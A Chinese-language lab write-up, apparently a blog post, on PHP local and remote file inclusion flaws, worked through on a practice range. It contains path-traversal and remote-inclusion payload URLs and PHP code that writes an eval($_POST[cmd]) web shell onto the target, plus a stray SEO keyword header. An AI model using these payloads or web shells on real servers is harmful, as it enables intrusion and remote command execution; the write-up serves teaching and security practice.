无锡科技网站建设,wordpress广告位,请概述网站建设的一般步骤,网站编辑做啥都文章目录 1、文件包含漏洞概述1.1 文件包含漏洞1.2 相关函数1.3 文件包含漏洞分类 2、File Inclusion(local)3、File Inclusion(remote) 1、文件包含漏洞概述
1.1 文件包含漏洞 文件包含漏洞#xff1a;在web后台开发中#xff0c;程序员往往为了提高效率以及让代码看起来更… 文章目录 1、文件包含漏洞概述1.1 文件包含漏洞1.2 相关函数1.3 文件包含漏洞分类 2、File Inclusion(local)3、File Inclusion(remote) 1、文件包含漏洞概述
1.1 文件包含漏洞 文件包含漏洞在web后台开发中程序员往往为了提高效率以及让代码看起来更简洁会使用“包含”函数功能。比如把一系列功能函数都写进function.php中之后当某个文件需要调用的时候就直接在文件头中写上一句?php include function.php?就可以调用函数代码。但有些时候因为网站功能需求会让前端用户选择需要包含的文件或者在前端的功能中使用了“包含”功能又由于开发人员没有对要包含的这个文件进行安全考虑就导致攻击者可以通过修改包含文件的位置来让后台执行任意文件代码。 需要注意的是php的文件包含不管文件后缀名是什么只要包含php代码就可以被当作php代码解析。 1.2 相关函数 文件包含包含函数在php中通过include()、include_once()或require()、require_once()语句可以将php文件的内容插入另一个php文件在服务器执行它之前。include()和include_once()的区别在于include_once()只能包含一次相同的文件。 include和require函数在错误处理方面有所不同
require会生成致命错误E_COMPILE_ERROR并停止脚本include只生成警告E_WARNING并且脚本会继续。
1.3 文件包含漏洞分类 根据不同的配置环境文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞 1本地文件包含漏洞 仅能够对服务器本地的文件进行包含由于服务器上的文件并不是攻击者所能够控制的因此该情况下攻击着更多的会包含一些固定的系统配置文件从而读取系统敏感信息。 2远程文件包含漏洞 能够通过url地址对远程的文件进行包含这意味着攻击者可以传入任意的代码。 此处的本地指的是服务器端远程指的是非服务器端。 2、File Inclusion(local)
1在搜索框中选择kobe之后1url变为http://192.168.92.1:32769/vul/fileinclude/fi_local.php?filenamefile1.phpsubmit%E6%8F%90%E4%BA%A4 观察到url中出现filenamefile1.php那么该目录下是否存在fileX.php文件呢 2发现隐藏文件对文件名进行爆破可以发现file6、file7、file8、file9、file10、file100返回异常。说明存在隐藏文件。
3读取不同文件夹的文件 filenamefile9.php返回了报错通过这个报错可以知道fi_local.php中用来进行文件包含的函数是include()并且包含的文件路径为与fi_local.php同文件夹下include文件夹中的文件。 payloadhttp://192.168.92.1:32769/vul/fileinclude/fi_local.php?filename/../../submit%E6%8F%90%E4%BA%A4可以发现现在include函数中的相对路径已经跳转到了/app/vul路径下了。也就是说只要我们知道某个文件的相对位置就可以访问它。 3、File Inclusion(remote)
1远程文件包含这里同样是通过传递一个文件名进行包含。 2filename改为www.baidu.com后会直接访问百度 3在 Kali 上在 /var/www/html/ 中新建一个shell.txt输入下面的内容
?php
$myfile fopen(shell.php, w);
$txt ?php eval($_POST[cmd]);?;
fwrite($myfile, $txt);
fclose($myfile);
?同时使用service apache2 start开始apache服务构造payload http://192.168.92.1/vul/fileinclude/fi_remote.php?filenamehttp://192.168.92.1/shell.txtsubmit提交 貌似什么也没发生我们需要访问生成的shell.php文件就可以拿到webshell了。 4连接webshell 另外远程包含漏洞前提如果使用 includer 和 require 则需要 php.ini 配置如下
allow_url_fopen on;默认开
allow_url_include on;默认关